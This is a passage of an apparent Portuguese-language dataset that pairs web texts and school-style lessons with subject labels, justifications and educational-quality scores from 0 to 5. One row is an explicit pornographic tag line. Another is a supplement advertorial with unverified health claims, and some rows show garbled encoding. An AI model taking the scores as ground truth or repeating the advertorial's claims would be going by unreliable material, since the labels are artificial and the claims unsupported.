os brasileiros. +Aperfeiçoamento das políticas de compra livreira governamental, de modo a fomentar a diversidade na aquisição e escolha das editoras contempladas. +Definição de políticas científicas de acesso aberto que propiciem recursos do Estado para a publicação acessível, em moldes semelhantes aos adotados pela OCDE, medida de estímulo concomitante à pesquisa científica e ao mundo editorial. +Estímulo à criação de novas bibliotecas, incremento à atualização daquelas situadas em escolas e em todos os municípios e ampliação do acervo das bibliotecas de instituições federais em harmonia com outras iniciativas de estímulo ao livro e à leitura. +No empenho de contribuir com ações diligentes de valorização do livro e da leitura, a Academia Paulista de Letras acredita que a devida atenção para esse tema significará um plus qualitativo à gestão que terá iní...",original,original,original,original,4,0.8 +"O objetivo dessa central é a emissão de forma totalmente eletrônica das segundas vias dos atos de Nascimento, Casamento, Óbito, por meio de pesquisa nos índices ou pedido manual, basicamente as serventias enviarão seus índices, tornando possível que um Cartório em São Paulo solicite uma segunda via de um Cartório do Espírito Santo e vice e versa, de forma rápida e segura. +Funciona da seguinte forma, o cidadão chega ao balcão do Cartório e solicita uma segunda via, com os dados informados pela parte, o Cartório A faz a busca na CRC, e ao localizar o Cartório detentor do registro, faz a solicitação, o Cartório B recebe essa solicitação, verifica o Livro e procede com a emissão da Certidão, o Cartório A recebe a Certidão assinada eletronicamente, faz a impressão da mesma e a entrega ao solicitante. +O Cartório A recebe o valor total do cidadão e repassa pela própria CRC o valor destinado ao Cartório detentor do registro, nesse processo será cobrado o valor da emissão da Certidão pelo Cartório A e a materialização pelo Cartório B. +Os Cartórios do Espírito Santo que utilizam o DRD Registro Civil, já estão enviando as cargas pois desde o dia 02/06/2013 o sistema já se encontra devidamente atualizado. +Segundo Jeferson Miranda, Notário e Registrador Civil do Cartório de Registro Civil e Tabelionado de Iúna, o processo de envio é muito simples, visto que os dados já estão no sistema, bastando alguns clicks para enviar as informações, ainda segundo Jeferson, que participou ativamente do Projeto piloto do Selo Digital, agora concretiza-se um dos objetivos do Selo Digital, que era permitir a emissão eletrônica das certidões. +João Soares Fernandes, Notário e Registrador Civil do Cartório Antônio Maria, distrito de Carapina, em Serra, recebeu com grande entusiasmo a CRC, pois segundo ele, a procura por Certidões de outros estados é grande.",original,original,original,original,1,0.2 +"RH.com.br - Geral - Produ��o industrial recua 0,9% em maio +Contato Agenda Links Biblioteca Participe Anuncie RSS Home 04/07/2012RH � Not�cia Produ��o industrial recua 0,9% em maioTweetA produção industrial recuou 0,9% na passagem de abril para maio, na série livre de influências sazonais, terceiro resultado negativo consecutivo nesse tipo de comparação, acumulando nesse período perda de 2,0%. Frente a igual mês do ano anterior, o total da indústria apontou queda de 4,3% em maio de 2012, nono resultado negativo consecutivo nesse tipo de confronto e o mais intenso desde setembro de 2009 (-7,6%). Assim, o setor industrial acumulou perda de 3,4% nos cinco primeiros meses de 2012. A taxa anualizada, indicador acumulado nos últimos 12 meses, ao recuar 1,8% em maio de 2012, prosseguiu com a trajetória descendente iniciada em outubro de 2010 (11,8%) e assinalou a taxa negativa mais intensa desde fevereiro de 2010 (-2,6%). +www.ibge.gov.br/home/estatistica/indicadores/industria/pimpfbr/default.shtm. +Os índices por categorias de uso, ainda no confronto com igual mês do ano anterior, confirmaram o perfil de predomínio de taxas negativas no setor industrial em maio de 2012, com bens de capital (-12,2%) e bens de consumo duráveis (-9,5%) registrando ritmo de queda superior ao do total da indústria (-4,3%), enquanto bens intermediários e bens de consumo semi e não duráveis, ambos com -2,7%, mostraram recuos menos intensos nesse tipo de comparação. O setor produtor de bens de capital, que mostrou a queda mais acentuada entre as categorias de uso no índice mensal, teve seu resultado influenciado pela queda na maior parte dos seus subsetores, com destaque para o recuo de 16,8% registrado por bens de capital para equipamentos de transporte, ainda bastante pressionado pela menor fabricação de caminhão-trator para reboques e semi-reboques, caminhões e chassis com motor para ônibus e caminhões. O desempenho negativo do segmento de bens de consumo duráveis foi influenciado em grande parte pela menor fabricação de telefones celulares (-37,1%), automóveis (-5,3%), eletrodomésticos da ""linha marrom"" (-0,4%), motocicletas (-16,8%) e outros eletrodomésticos - exceto ""linha branca e linha marrom"" (-25,5%). Nessa categoria de uso, os principais impactos positivos vieram da maior produção de eletrodomésticos da ""linha branca"" (8,5%) e de artigos do mobiliário (22,3%). +Palavras-chave: | IBGE | ind�stria | O que voc� achou? Avalie: 1 +� Ind�stria perde US$ 4,9 bilh�es por ano� Emprego industrial varia 0,2% em mar�o� Investimentos em automa��o potencializam competitividade da ind�stria� Atividade industrial paulista fecha 1� trimestre com alta de 2,4%� Aumenta o n�mero de empregados com carteira de trabalho assinada� Empres�rios precisam de pol�ticas claras para investir no Brasil � Ind�stria paulista cria 13 mil empregos em mar�o� Confian�a do empres��rio cai em abril� Em fevereiro, emprego industrial tem varia��o nula� Produ��o industrial recua, aponta IBGE� Produ��o industrial recua 2,5% em fevereiro� Emprego industrial tem varia��o nula em janeiro� Custo da ind�stria sobe 6,3% em 2012� Ind�stria paulista cria 9,5 mil vagas em fevereiro� Ind�stria moveleira espera crescer 5%� Produ��o industrial cresce 2,5% em janeiro� Confian�a do empres�rio cresce em fevereiro� Ind�stria paulista cria 10 mil empregos em janeiro� Em 2012, produ��o industrial cai em nove dos 14 locais pesquisados� Desocupa��o fica em 4,6% em dezembro Ainda n�o h� coment�rios. Seja o primeiro, clique no �cone dispon�vel logo acima e fa�a seus coment�rios. PUBLICIDADE",original,original,original,original,3,0.6 +"Xvideos tags dona de casa com o pau do cara bem duro e ela mandando um boquete pra ele, ele foi gravando enquanto...",original,original,original,original,0,0.0 +"""Ela é a estrela que Madonna sempre quis ser"": revista elege Lady Gaga uma das pessoas mais inspiradoras do mundo +Sua fave é WW? Confira o ranking da quantidade de idiomas que a página de cada cantora foi traduzida na wikipedia. +Novo namorado de Demi Lovato é nazist.a e tem processos por racismo e xenofobia +Cher anuncia sua primeira tour europeia em 15 anos +Há 7 anos, Little Mix ganhava o ""The X-Factor UK"" e lançava ""Cannonball"" como single +MTV nomeou ""Sweetener"" como o melhor álbum do ano e ""No Tears Left To Cry"" como a melhor música pop do ano",original,original,original,original,1,0.2 +"Já parou para pensar por que o Brasil é tão diferente de outros países? Uma das razões mais importantes é a nossa população, uma mistura incrível de pessoas de diferentes lugares do mundo e com costumes variados. Essa mistura, que chamamos de diversidade cultural, é o que torna o nosso país tão rico e interessante. + +Imagine que o Brasil é como uma grande receita de bolo. Cada ingrediente, cada grupo de pessoas que veio para cá, contribuiu com algo especial. Os povos indígenas, que já estavam aqui antes da chegada dos europeus, trouxeram seus conhecimentos sobre a natureza, suas línguas e suas tradições. Os africanos, que foram trazidos para o Brasil de forma forçada, também deixaram um legado importantíssimo na nossa cultura, como a música, a dança, a culinária e a religião. + +Depois, vieram os europeus, principalmente os portugueses, que colonizaram o Brasil. Eles trouxeram sua língua, sua religião e seus costumes, que se misturaram com os dos indígenas e africanos. Mais tarde, outros povos, como os italianos, os alemães, os japoneses e muitos outros, também vieram para o Brasil em busca de novas oportunidades. Cada um desses grupos trouxe um pouco da sua cultura, que se somou à nossa. + +Essa mistura de culturas pode ser vista em todos os cantos do Brasil. Na música, temos o samba, o frevo, o baião e muitos outros ritmos que são resultado da mistura de influências africanas, indígenas e europeias. Na culinária, temos a feijoada, o acarajé, o vatapá, o pão de queijo e tantos outros pratos deliciosos que são resultado da combinação de ingredientes e técnicas de diferentes culturas. Na língua, temos muitas palavras que vieram do tupi, do africano e de outras línguas indígenas. + +Mas essa diversidade cultural também pode trazer alguns desafios. Às vezes, as pessoas têm preconceitos e ideias erradas sobre outras culturas. É importante lembrar que todas as culturas são importantes e valiosas, e que devemos respeitar as diferenças entre as pessoas. Conhecer a cultura do outro, se colocar no lugar do outro, é uma forma de construir um mundo mais justo e igualitário. + +Então, da próxima vez que você encontrar alguém diferente de você, procure saber mais sobre a cultura dessa pessoa. Você pode aprender coisas incríveis e descobrir que, apesar das diferenças, todos nós somos seres humanos e fazemos parte da mesma família. + +Pense nisso: como a sua família contribui para a diversidade cultural do Brasil? Que costumes e tradições vocês praticam que são diferentes dos de outras pessoas? Compartilhe suas ideias com seus colegas e professores. Assim, juntos, podemos construir um Brasil ainda mais rico e diverso.",Geografia,População e cultura,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando a diversidade cultural brasileira de forma clara e acessível. Introduz o conceito de miscigenação, exemplificando com a contribuição de diferentes povos na formação da cultura do país. O texto estimula a reflexão e o respeito às diferenças, além de propor atividades para os alunos. Adapta-se bem ao ensino fundamental, promovendo a compreensão da identidade nacional e o combate ao preconceito.",5,1.0 +"A Associação Humanitária Cultural e Recreativa Beselguense irá levar a cabo no próximo dia 3 de agosto (sábado) de 2013 as 4 Horas de Beselga. +Podem consultá-lo na íntegra em http://www.associacaobeselguense.pt/btt_resistencia2012/Regulamento_4horas_Beselga_2012.pdf +Hoje o cenário mudou. Estava previsto mais um teste ao percurso. Por isso, Partimos debaixo de chuva intensa misturada com granizo. Parecíamos verdadeiras estrelas dada a quantidade de flashes produzidos pela trovada. A cadência parecia marcada pelo som trovões. Tudo isto, condimentado com alguns “pedaços de paraíso” e um cheiro muito agradável de terra molhada só podia resultar nuns muito agradáveis 10kms de puro BTT. +1º Lugar – Troféu + Inscrição na 9ª Maratona dia 10 novembro (Modalidade C)",original,original,original,original,2,0.4 +"A fidelidade é um dos deveres do casamento e da união estável, prevista expressamente no artigo 1.566, I do Código Civil, corolário do estabelecimento da comunhão plena de vida, também com previsão no Código Civil, art. 1.511. +A infidelidade virtual caracteriza-se por um relacionamento virtual, praticado por pessoa casada ou que vive em união estável, mas que provoca os mesmos efeitos da infidelidade real, gerando, em muitos casos, o fim do relacionamento. Portanto, embora sem contato físico, a cyber traição também é considerada infidelidade e pode gerar efeitos reais. +Hoje, não se discute mais a culpa pelo fim do casamento ou da união estável. Portanto, não há mais necessidade, por exemplo, em se provar o adultério para por fim ao casamento ou a união estável. +No entanto, o descumprimento dos deveres do casamento ou da união estável, seja real ou virtual, pode implicar lesão aos direitos da personalidade e à dignidade da pessoa humana, configurando dano moral passível de ser indenizado, pois a fidelidade é efeito ético do casamento e da união estável, tendo, portanto, forte carga moral. +Assim, havendo prova da infidelidade, poderá haver indenização por danos morais. +No que diz respeito à infidelidade virtual, eventuais provas não poderão ser obtidas por meio ilícito, invadindo, por exemplo, os aparelhos de uso pessoal do cônjuge ou do companheiro. A prova deverá ser obtida de aparelhos de uso comum do casal ou da família. Isso porque, embora seja tema bastante controverso, quando há violação à correspondência, gravação de telefonemas, abertura de e-mails, mensagens de aplicativos, etc, do cônjuge/companheiro, sem seu consentimento, as provas serão inválidas, uma vez que a legislação brasileira considera ilícita a prova obtida clandestinamente. +Evidente que cada caso deverá ser avaliado, para verificar as provas apresentadas, inclusive sua licitude, e se estão presentes os pressupostos da responsabilidade civil. Porém, uma vez comprovada a infidelidade, o Juiz analisará as consequências causadas à vítima, assim como a intensidade do constrangimento e da dor sofrida, para estabelecer qual foi a extensão do dano e, assim, de acordo com as condições econômicas do ofensor, arbitrar o valor da indenização.",original,original,original,original,2,0.4 +"Puta meu, não me achei nesse site. Se entendi, as inscrições estão encerradas. 😦",original,original,original,original,0,0.0 +"Pascoalita: Cubo Rubik +Puxa! Quanta habilidade! E que memória visual fantástica!!! +Há uns anos atrás, quando surgiu a febre do cubo, eu com os 2 olhos bem abertos, o máximo que consegui fazer foi uma das faces eheheheh +Publicada por Pascoalita à(s) 09:30 +Eh, eh, eh, eu conseguia fazer uma face e mais as tirinhas do meio a condizer. Quando chegava à última, perdia-me completamente, que aquilo baralha tanto, que parece estar tudo baralhado novamente! +Resumindo, só chegava lá com cábula! :))) +quinta-feira, janeiro 22, 2009 10:27:00 da manhã +O meu filho mais velho que era pequenito na altura, chegou a conseguir. +quinta-feira, janeiro 22, 2009 10:59:00 da manhã +Pois bem, eu também conseguia fazer em menos tempo, agarrava no cubo e atirava-oá parede . Ficava instantâneamente feito hahahaha. +quinta-feira, janeiro 22, 2009 12:58:00 da tarde +xiiiiiiii o mem vovô é assim tão impaciente? Não te cocnhecia essa faceta ahahahah +Claro que basta olharem para mim para perceberem que não devo ser dada a paciências, né? +quinta-feira, janeiro 22, 2009 1:06:00 da tarde +O raio do cubo pôes-me foi hipotenusa de raiva,,,, +Gostei muito mais do yó-yó.que vou fazer.. +E linha,só consegui no bingo,dei semelhante grito que o companheiro do lado direito deu um salto....o macaco.....vê lá tu +beijo:pandora_box +quinta-feira, janeiro 22, 2009 7:28:00 da tarde +Depois de usar o equivalente a 7.8 anos de cálculo computacional [em cpu de um núcleo], tomas rokicki acaba de mostrar que o cubo de rubik pode ser resolvido, a partir de qualquer posição, em 23 movimentos ou menos. +o cubo, criado em 1974 pelo escultor e professor húngaro ernö rubik, começou a ser vendido em 1980 e está na marca das 300 milhões de cópias. há cerca de 43 quinquilhões de posições possíveis em um cubo e campeonatos e livros desde 1981: o cubo gerou uma indústria. +mesmo tendo deixado de ser uma febre, o cubo ainda desperta muito interesse [nada menos de 12 campeonatos até outubro!], a ponto do recorde para resolvê-lo ter sido estabelecido em 2008, por yu nakajima, em menos de 9 segundos, contra a primeira marca mundial de 38 seconds de jury froeschl, da alemanha. se você quiser tentar sua destreza em um campeonato [simulado] permanente on-line, clique aqui. +olhando para as competições físicas, corporais, gastamos 40 anos para trazer o recorde mundial dos 100 metros rasos de 10 para 9.72 segundos. não é razoável que comecemos a medir a diferença entre humanos correndo 100m em milésimos de segundos, pois a separação pode passar a ser estatística, ou definida pelo comprimento do dedo do indicador ou qualquer outra coisa. algo me diz que, depois de chegarmos nos limites [puramente] físicos do corpo, o que vai rolar daqui a uns 30 anos, vamos partir para campeonatos mais cerebrais. resolver algo como o cubo não é só cérebro, é destreza manual de primeira grandeza +quinta-feira, janeiro 22, 2009 11:50:00 da tarde +Eu tambem fazia uma face e depois mais nada.....enervava-me..... +Nunca tive grande paciência para essas coisas...ahahhaha +Beijokitas e bom fim de semana. +P.S. Obrigadinha pelas MMS, nada como um coração com pernas....hihihihih +sexta-feira, janeiro 23, 2009 11:37:00 da manhã",original,original,original,original,3,0.6 +"Saída: 25 de Agosto de 2017 (Sexta-Feira) +Retorno: 27 de Agosto de 2017 (Domingo) +√ Traslado São Paulo – Arraial do Cabo – São Paulo, em ônibus semi-leito, com Vídeo ou DVD, ar condicionado, banheiro e serviço de bordo (água, refrigerante e bolos da Tia Rose) – Saída de São Paulo dia 25/08/2017 e retorno dia 27/08/2017. +21 outubro, 2012 / by Amigos do Joe +Arraial do Cabo – 21/10/2012",original,original,original,original,1,0.2 +"Olá, pequenos exploradores da matemática! Já pararam para pensar que o mundo está cheio de desafios esperando para serem resolvidos? E adivinhem? A matemática é uma ferramenta incrível para nos ajudar nessa jornada! Hoje, vamos aprender juntos como desvendar esses mistérios, transformando problemas em diversão e aprendizado. + +Imagine que você está planejando uma festa de aniversário. Você tem 20 convidados e quer dar 3 balões para cada um. Quantos balões você precisa comprar? Esse é um problema matemático! E para resolvê-lo, precisamos seguir alguns passos simples. Primeiro, vamos entender o que o problema está nos pedindo: o número total de balões necessários. Depois, vamos pensar em como podemos chegar à resposta. Nesse caso, podemos multiplicar o número de convidados (20) pelo número de balões por convidado (3): 20 x 3 = 60. Então, você precisa comprar 60 balões! + +Outro exemplo: imagine que você tem uma caixa com 35 brinquedos e quer dividir igualmente entre você e seus 4 amigos. Quantos brinquedos cada um vai receber? Aqui, o problema pede para dividirmos o total de brinquedos (35) entre o número de pessoas (você + 4 amigos = 5 pessoas). Então, dividimos 35 por 5: 35 ÷ 5 = 7. Cada um receberá 7 brinquedos! + +A chave para resolver problemas é ler com atenção, identificar as informações importantes e escolher a operação matemática correta: adição (+), subtração (-), multiplicação (x) ou divisão (÷). E não tenham medo de errar! O erro faz parte do aprendizado. Se a resposta não parece fazer sentido, volte e revise seus cálculos. + +Resolver problemas não é apenas sobre números e contas. É sobre usar a lógica, o raciocínio e a criatividade para encontrar soluções. E essa habilidade é super útil não só na escola, mas em todas as áreas da vida! Pensem em como usar a matemática para planejar uma viagem, calcular o tempo para fazer um bolo ou até mesmo organizar seus brinquedos. As possibilidades são infinitas! + +Então, da próxima vez que encontrarem um problema, não se assustem! Encarem como um desafio divertido e usem a matemática como sua aliada. Com prática e paciência, vocês se tornarão verdadeiros mestres na arte de resolver problemas. E lembrem-se: a matemática está em todo lugar, esperando para ser descoberta e usada para tornar o mundo um lugar ainda mais interessante! + +Que tal agora tentarem resolver este desafio: Você tem 12 figurinhas e quer colar em um álbum que tem espaço para 4 figurinhas por página. Quantas páginas do álbum você vai usar? + +Divirtam-se explorando o mundo da matemática!",Matemática,Resolução de problemas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, introduzindo a resolução de problemas matemáticos de forma lúdica e contextualizada para o cotidiano das crianças. Explica conceitos básicos como multiplicação e divisão através de exemplos práticos, incentivando o raciocínio lógico e a aplicação da matemática em situações reais. A linguagem é acessível e motivadora, adequada para o ensino fundamental, e o texto culmina com um desafio, promovendo a prática e o engajamento dos alunos.",5,1.0 +"Rede Rural Nacional - CM Porto realiza dois workshops com o tema da Economia Circular +CM Porto realiza dois workshops com o tema da Economia Circular +A Câmara Municipal do Porto encontra-se a organizar dois workshops na área da Economia Circular: Workshop CE100, no dia 15 de outubro, e o Workshop Economia de Partilha, no dia 18 de outubro. Ambas as iniciativas realizam-se no Porto Innovation Hub. +Workshop CE100 - ver programa. +Workshop Economia de Partilha - ver programa.",original,original,original,original,1,0.2 +"Olá, exploradores do conhecimento! Já pararam para pensar na imensidão do nosso Brasil? Nosso país é tão grande e diverso que, para facilitar o estudo e a organização, ele foi dividido em regiões e estados. Mas por que essa divisão é importante? E como ela influencia o nosso dia a dia? + +Vamos começar entendendo o que são os estados. Imagine o Brasil como um grande quebra-cabeça, onde cada peça é um estado. Cada estado tem sua própria capital, governo e características únicas, como a cultura, a economia e o clima. Por exemplo, São Paulo, um dos estados mais populosos, é conhecido por sua forte indústria e vida agitada, enquanto o Amazonas, com sua vasta floresta, é famoso pela biodiversidade e importância para o meio ambiente. + +Agora, juntando esses estados, formamos as regiões do Brasil. Temos cinco regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. Cada região possui características em comum, como o clima predominante, os tipos de vegetação e as atividades econômicas mais importantes. A região Nordeste, por exemplo, é famosa pelas belas praias e cultura rica, com festas como o São João. Já a região Sul se destaca pelo clima mais frio e pela forte influência da cultura europeia. + +Mas por que dividir o Brasil em regiões? Essa divisão ajuda o governo a entender melhor as necessidades de cada parte do país e a planejar ações para melhorar a vida das pessoas. Por exemplo, se uma região sofre com a seca, o governo pode criar programas para ajudar os agricultores e garantir o acesso à água. + +A divisão em estados e regiões também influencia a nossa vida de outras formas. Os produtos que consumimos, as músicas que ouvimos e até o jeito de falar podem variar de acordo com a região. Já reparou como o sotaque de um gaúcho é diferente do sotaque de um baiano? E como a culinária mineira é diferente da culinária amazônica? + +Para finalizarmos, que tal pensarmos um pouco sobre a região onde vivemos? Quais são as principais características do seu estado? Quais são os pratos típicos, as festas populares e os pontos turísticos mais famosos? Conhecer o nosso país é fundamental para valorizar a nossa cultura e construir um Brasil cada vez melhor. Afinal, cada estado e cada região tem uma história para contar e uma riqueza a compartilhar. + +Então, da próxima vez que você estiver estudando sobre o Brasil, lembre-se: cada estado e cada região são peças importantes desse grande quebra-cabeça chamado Brasil. Conhecer cada um deles é uma aventura fascinante!",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir de forma clara e acessível a divisão do Brasil em estados e regiões, explicando sua importância e características. Utiliza linguagem simples e exemplos relevantes, tornando o conteúdo adequado para alunos do ensino fundamental. Aborda aspectos culturais e econômicos, incentivando a reflexão sobre a diversidade do país. Além disso, estimula a valorização da cultura local e o conhecimento do próprio estado e região.",5,1.0 +"Já parou para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a madeira da mesa, o algodão da roupa, o metal do celular… Tudo isso vem da natureza! Chamamos de recursos naturais tudo aquilo que retiramos da natureza e que é útil para nós, seres humanos. Eles são a base da nossa vida e do desenvolvimento da sociedade. Imagine um mundo sem água potável, sem árvores para construir casas, sem minerais para fazer computadores. Seria bem diferente, não é? + +Os recursos naturais podem ser divididos em duas grandes categorias: renováveis e não renováveis. Os recursos renováveis são aqueles que a natureza repõe em um período relativamente curto, como a água, o solo, o ar, a energia solar, a energia eólica (dos ventos) e a biomassa (matéria orgânica). Isso não significa que podemos usá-los de forma ilimitada! A água, por exemplo, embora seja renovável, pode acabar se poluirmos os rios e lagos. Precisamos usar esses recursos com cuidado, pensando nas futuras gerações. + +Já os recursos não renováveis são aqueles que demoram milhões de anos para se formar, como o petróleo, o carvão mineral, o gás natural e os minerais metálicos (ferro, alumínio, cobre, etc.). Uma vez que são consumidos, não podem ser repostos em um tempo útil para nós. A exploração desses recursos gera impactos ambientais significativos, como a destruição de florestas, a poluição do ar e da água e o aumento do efeito estufa. É por isso que é tão importante buscar alternativas e usar esses recursos com responsabilidade, como reciclar e economizar energia. + +O Brasil é um país rico em recursos naturais. Temos grandes reservas de água doce, uma enorme diversidade de plantas e animais, minerais abundantes e um grande potencial para a geração de energia renovável. Mas essa riqueza também traz responsabilidades. Precisamos proteger nossos recursos naturais, garantindo que sejam utilizados de forma sustentável, ou seja, sem comprometer o futuro do nosso planeta. O que você pode fazer para ajudar? Pequenas atitudes no dia a dia, como economizar água e energia, separar o lixo para reciclagem e plantar árvores, fazem toda a diferença! Pense nisso: cada um fazendo a sua parte, podemos construir um futuro mais verde e próspero para todos. Que tal começar agora mesmo?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas e relevantes sobre recursos naturais, categorizando-os em renováveis e não renováveis. Ele introduz conceitos importantes para o currículo escolar do ensino fundamental, como a importância da sustentabilidade e o impacto das ações humanas no meio ambiente. O texto é coerente, apresenta exemplos práticos e incentiva a reflexão sobre o consumo consciente e a preservação dos recursos naturais. O estilo de escrita é claro e acessível, tornando o conteúdo adequado para diferentes faixas etárias dentro do ensino fundamental.",5,1.0 +"Kim Dotcom lança nova canção contra o governo dos EUA [vídeo] - TecMundo +Kim Dotcom, o conhecido dono do serviço Megaupload, lançou nesta sexta-feira (20) um novo vídeo em que questiona as práticas antipirataria do governo dos Estados Unidos. Na faixa batizada como “Mr. President”, ele afirma que Hollywood está dominando os políticos, o que está resultando no assassinato de qualquer tipo de inovação. +O vídeo da canção marca a estreia do novo site de Dotcom, que apresenta links para o download gratuito da produção. “A guerra pela internet começou. Hollywood controla os políticos. O governo está matando a inovação. Não deixem eles se safarem disso”, dizem alguns trechos da composição. +Segundo Dotcom, ataques como aquele realizado contra o seu site só vão resultar em danos à economia dos Estados Unidos. Segundo ele, fechar um serviço baseado na nuvem violando os direitos constitucionais de seus administradores só vai ajudar a manchar a imagem do governo do país.",original,original,original,original,1,0.2 +"Como fazer o cálculo de ppm? O ppm (partes por milhão) é uma maneira de expressar a concentração de uma solução quando o soluto está em concentrações muito baixas. Desse modo, a definição de ppm é dada como sendo a: “Quantidade de partes do soluto (em massa ou volume) em 1 milhão (106) de partes da solução (em massa ou volume).” +O que é a PPM e como calculá-la? +As PPM indicam o número de peças de não-conformidade em seu processo, expresso em partes por milhão. Por exemplo,um gerente de um restaurante fast food observa que 20 entre 1000 clientes esperaram mais de 3 minutos pelo serviço. +Qual a diferença entre PPM e volume? +Se a solução for sólida ou líquida, a concentração em ppm é dada em massa; já se for no estado gasoso, ela será fornecida em volume. +Qual a diferença entre PPM e PPT? +Assim como ppm significa “partes por milhão”, ppb significa “partes por bilhão”, e ppt é “partes por trilhão”: Essas concentrações tão pequenas são aplicadas principalmente quando se trabalha com dados referentes à poluição do ar e da água. +Como calcular o fator de conversão de ppm? +Fator de conversão = ppm/EC. [Nota: se o seu medidor lê em µS/cm, você antes deve converter o valor para mS/cm divindo por 1000 (1.0 mS/cm = 1000.0 µS/cm)] A tabela ao lado mostra rapidamente a conversão de EC para as diferentes escalas de ppm. +Qual a diferença entre PPM e volume? +Se a solução for sólida ou líquida, a concentração em ppm é dada em massa; já se for no estado gasoso, ela será fornecida em volume. +Qual a diferença entre PPM e PPT? +Assim como ppm significa “partes por milhão”, ppb significa “partes por bilhão”, e ppt é “partes por trilhão”: Essas concentrações tão pequenas são aplicadas principalmente quando se trabalha com dados referentes à poluição do ar e da água. +Quais são as unidades de concentração que equivalem à relação 1 ppm? +No entanto, existem casos em que a quantidade de soluto é extremamente pequena, como, por exemplo, a concentração dos poluentes existentes no ar, na terra e na água. Nessas situações, costuma-se usar a unidade partes por milhão, que é representada pela abreviação ppm. +Como calcular o peso de um produto? +formula é o peso (ou número de defeitos) dividido pelo volume multiplicado por 1.000.000 - ou w /vx 1.000.000. Por exemplo, se você tiver 100 produtos defeituosos em 10.000 peças fabricadas, divida 100 por 10.000 para chegar ao resultado de 0,01 ou 1% do total. +Um milésimo de grama é um miligrama e 1000 ml é um litro, de modo que 1 ppm = 1 mg por litro = mg/litro. Quantos ppm há em um mL? +Qual é a diferença entre PPM e PPB? +Para água, 1 ppm = aproximadamente 1 mg/L (também escrito como mg/l) de contaminante na água e 1 ppb = 1 ug/L (também escrito como ug/l). ppm significa mg L? Esta é a abreviação de partes por milhão e também pode ser expresso em miligramas por litro (mg/L). +Como fazer o cálculo de ppm? O ppm (partes por milhão) é uma maneira de expressar a concentração de uma solução quando o soluto está em concentrações muito baixas. Desse modo, a definição de ppm é dada como sendo a: “Quantidade de partes do soluto (em massa ou volume) em 1 milhão (106) de partes da solução (em massa ou volume).”",original,original,original,original,3,0.6 +"ConJur - Boa fé e segurança jurídica é uma relação necessária ao direito eficaz +União Eficaz +1 de janeiro de 2012, 9h30 +A Constituição Federal em seu artigo 1º, III, consagra o princípio da dignidade da pessoa humana, esse princípio irradia-se por todo o ordenamento jurídico, bem como é possuidor de várias faces, dentre elas encontra-se a exigência de tratamento digno para com terceiros, ou seja, deve-se tratar com boa-fé. Outro princípio constitucional que garante a boa-fé é a igualdade e solidariedade social, pois se exigimos que nos tratem com boa-fé, devemos tratar os outros da mesma forma visto que segundo a Carta da República todos somos iguais em deveres e obrigações ( art. 3º , II e art. 5º, caput e inciso III, da CF/88). +O Direito é sistema por isso não devemos interpretá-lo em tiras, nessa medida é que se impõe a proteção da boa-fé como forma de preservação da segurança jurídica de todas as relações jurídicas, independente de seus sujeitos serem iminentemente privados ou privados e públicos, ou puramente públicos. A segurança jurídica é principio decorrente do Estado Democrático de Direito, como observa Bandeira de Mello, que elucida o seu conteúdo: +Este princípio não pode ser radicado em qualquer dispositivo constitucional específico. É, porem, da essência do próprio Direito, notadamente de um Estado Democrático de Direito, de tal sorte que faz parte do sistema constitucional como um todo (...). O direito propõe-se a ensejar uma certa estabilidade, um mínimo de certeza na regência da vida social. Daí o chamado princípio da ‘segurança jurídica’, o qual, bem por isto, se não é o mais importante dentre todos os princípios gerais de Direito, é, indisputavelmente, um dos mais importantes entre eles. (...). +Esta “segurança jurídica” coincide com uma das mais profundas aspirações do Homem: a da segurança em si mesma, a da certeza possível em relação ao que o cerca, sendo esta uma busca permanente do ser humano. É a insopitável necessidade de poder assentar-se sobre algo reconhecido como estável, ou relativamente estável, o que permite vislumbrar com alguma previsibilidade o futuro:é ela, pois, que enseja projetar e iniciar, consequentemente – e não aleatoriamente, ao mero sabor do acaso - , comportamentos cujos futuros são esperáveis a médio e longo prazo. Dita previsibilidade é, portanto, o que condiciona a ação humana. Esta é a normalidade das coisas (2004, p. 112 a 114) +Uma certa estabilidade do direito é inerente à sua função. O direito é acima de tudo ‘um instrumento de segurança e, por isso de liberdade’. Apenas se puder prever as conseqüências que se vincularão aos seus atos é que o homem poderá decidir cientemente, empreender uma atividade, poderá organizar um trabalho, fundar uma família, esperará conservar o que adquire. Toda previsão é fundamentada nas regras existentes; sua segurança supõe uma certa fixidez das instituições nas quais ela se fundamentou. +Constata-se que a segurança jurídica é necessária para que o cidadão possa conduzir, com um mínimo de previsibilidade, sua vida em respeito às normas jurídicas, entendendo-se essas como textos legais compatíveis com a Constituição e os direitos fundamentais, como afirmam Mendes et alli,“(...) a segurança jurídica, somo subprincípio do Estado Democrático de Direito, assume valor ímpar no sistema jurídico, cabendo-lhe papel diferenciador na realização da própria ideia de justiça material”(2007, 474). +Os princípios da boa fé e seu corolário o da confiança são mais trabalhados dentro do Direito Civil, contudo, como já afirmado, ambos têm um âmbito de aplicação muito maior pois tem como fundamento a Constituição Federal de 1988. SOUSA informa que a boa fé e a confiança aplicam-se a todo o sistema jurídico: +(...). O campo de incidência destes princípios é amplíssimo, não se circunscrevendo ao campo do direto civil ou do direto privado, mas permeia todo o ordenamento jurídico. Afinal de contas, estamos tratando de máximas gerais da conduta ética que foram reconhecidas ...",original,original,original,original,2,0.4 +"Viterra Max Energy - Pormenores Blog +O Viterra Max Energy tem na sua formula extratos poderosos de guaraná e gingeng, combinados com vitamina C e ainda Vitaminas do complexo B, para repor a energia diária necessária e permitir que o corpo e o cérebro funcionem melhor. +Mas o que o torna completamente diferente de todos os outros multivitamínicos da Viterra é o facto de se apresentar em saquetas com pó, para tomar em qualquer lugar e a qualquer hora, de forma fácil e de efeito rápido. Basta despejar uma saqueta de pó na boca, ingerir sem necessidade de beber água, e os seus benefícios notam-se quase de imediato. +Como tenho muitas quebras de energia e muitos dias de grande cansaço, não pelo facto de fazer esforços, mas devido a uma doença auto imune que me acompanha e que por vezes me consome as energias por completo, tenho mesmo de recorrer quando mais preciso a suplementos vitamínicos para ajudar no meu dia a dia. Já tomei muito Viterra, mas esta novidade em saquetas é para mim bem mais prática, pois posso levá-las comigo e tomar uma sempre que sinto necessidade e de forma muito prática. A energia volta em pouco tempo! +A embalagem tem 20 saquetas e deve tomar-se 